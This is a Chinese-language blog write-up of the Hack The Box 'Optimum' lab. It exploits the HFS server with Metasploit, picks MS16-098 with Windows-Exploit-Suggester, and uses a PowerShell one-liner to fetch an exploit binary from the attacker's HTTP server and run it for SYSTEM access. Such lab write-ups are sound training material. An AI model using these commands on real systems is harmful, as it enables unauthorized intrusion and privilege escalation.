当前位置:网站首页>hack the box optimum靶机
hack the box optimum靶机
2022-04-23 02:26:00 【zr1213159840】
首先打开靶场,直接nmap开扫。
nmap -sV -Pn -A 10.10.10.8

通过扫描结果知道开启了80端口,80端口跑了HFS服务。顺势去msf搜索一下HFS有哪些漏洞
search hfs

使用下面的hfs的命令执行,然后看下要配置哪些东西
use 1
options

需要配置好远程主机,本地主机,配置好,run。多run几次,前面几次容易失败,而且要等挺久的。
set RHOSTS 10.10.10.8
set LHOSTS 10.10.14.17
run
利用成功后,返回meterpreter。然后看下当前文件夹的文件。能看到user的flag

可以直接读取user.txt.txt或者进入shell,读取user.txt.txt
#直接读取
cat user.txt.txt

接着继续找,看能不能进administrator文件夹,发现不能,而且也不能新建用户。


想着直接用msf的提权,但是执行后没有获得权限。那么我们应该怎么提权呢?看下打了哪些补丁。systeminfo还是能执行的。

拿到这个信息后,使用Windows-Exploit-Suggester脚本对比,看下突破点。(这个地方我怎么跑这个脚本都不行,说xlrd报错,这个脚本是用python2写的,大家注意。)
地址为https://git哈布.com/AonCyberLabs/Windows-Exploit-Suggester。使用方法看一下readme就行。记得是python2而且要装xlrd。
将远端的systeminfo信息复制下来,然后使用下面这条命令对比
python2 windows-exploit-suggester.py --database 2021-04-21-mssb.xls --systeminfo sysinfo.txt
对比结果能发现可以使用MS16–098提权。可以通过这个链接获取提权的exe。
https://git哈布.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
下载后,在exe文件夹下启动一个本地的http服务器
python3 -m http.server 888
然后在靶机的shell中执行以下命令
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:888/41020.exe', 'c:\Users\Public\Downloads\41020.exe')"
这个命令的意思是下载10.10.14.17上面的41020.exe,然后放在后面的位置下面。

在对应位置找到,然后执行41020.exe,顺利拿到最高权限

去到users/administrator/desktop下面拿到root.txt,搞定。

后记:发现前面的users.txt不难,但是在后面提权过程中就涉及到了python2环境等问题,很麻烦。特别是Windows-Exploit-Suggester脚本执行的不成功,我那段是直接参考了别人的内容,大家可以自己试试。特别kali似乎不带pip2,可以参考后面的链接。
参考链接
https://ranakhalil101.medium.com/hack-the-box-optimum-writeup-w-o-metasploit-3a912e1c488c
pip2安装的链接可以参考:
https://www.cnblogs.com/lzkalislw/p/15579620.html
版权声明
本文为[zr1213159840]所创,转载请带上原文链接,感谢
https://blog.csdn.net/zr1213159840/article/details/124331737
边栏推荐
- 006_redis_SortedSet类型
- [chrome extender] content_ Cross domain problem of script
- Lighting LED of IAR embedded development stm32f103c8t6
- 013_ Analysis of SMS verification code login process based on session
- 007_ Redis_ Jedis connection pool
- The 16th day of sprint to the big factory, noip popularization Group Three Kingdoms game
- SQL server2019 cannot download the required files, which may indicate that the version of the installer is no longer supported. What should I do
- 中金财富跟中金公司是一家公司吗,安全吗
- They are all intelligent in the whole house. What's the difference between aqara and homekit?
- PHP sorting of interview questions on April 20, 2022
猜你喜欢
![[untitled]](/img/60/421cda552055664357af47d1a956af.png)
[untitled]

arduino esp8266 网络升级 OTA

R language advanced | generalized vector and attribute analysis

Network jitter tool clumsy

ThinkPHP kernel development blind box mall source code v2 0 docking easy payment / Alibaba cloud SMS / qiniu cloud storage

010_ StringRedisTemplate

Understanding process (multithreading primary)

Usage of vector common interface

013_ Analysis of SMS verification code login process based on session

SO库依赖问题
随机推荐
009_Redis_RedisTemplate入门
[NK] Niuke monthly race 48 D
每日一题(2022-04-22)——旋转函数
PTA: 点赞狂魔
【ValueError: math domain error】
[nk]牛客月赛48 D
校园转转二手市场源码
Network jitter tool clumsy
Talk about biology live broadcast: Dr. Wang Ziyuan, a lake view biology, exploring hepatitis B with gene therapy
数仓建表111111
MySQL JDBC编程
89 logistic regression user portrait user response prediction
不断下沉的咖啡业,是虚假的繁荣还是破局的前夜?
005_ redis_ Set set
Explain JS prototype and prototype chain in detail
Multithreading technology core
Want to experience homekit smart home? Why don't you take a look at this smart ecosystem
十六、异常检测
Open3d point cloud processing
R language advanced | generalized vector and attribute analysis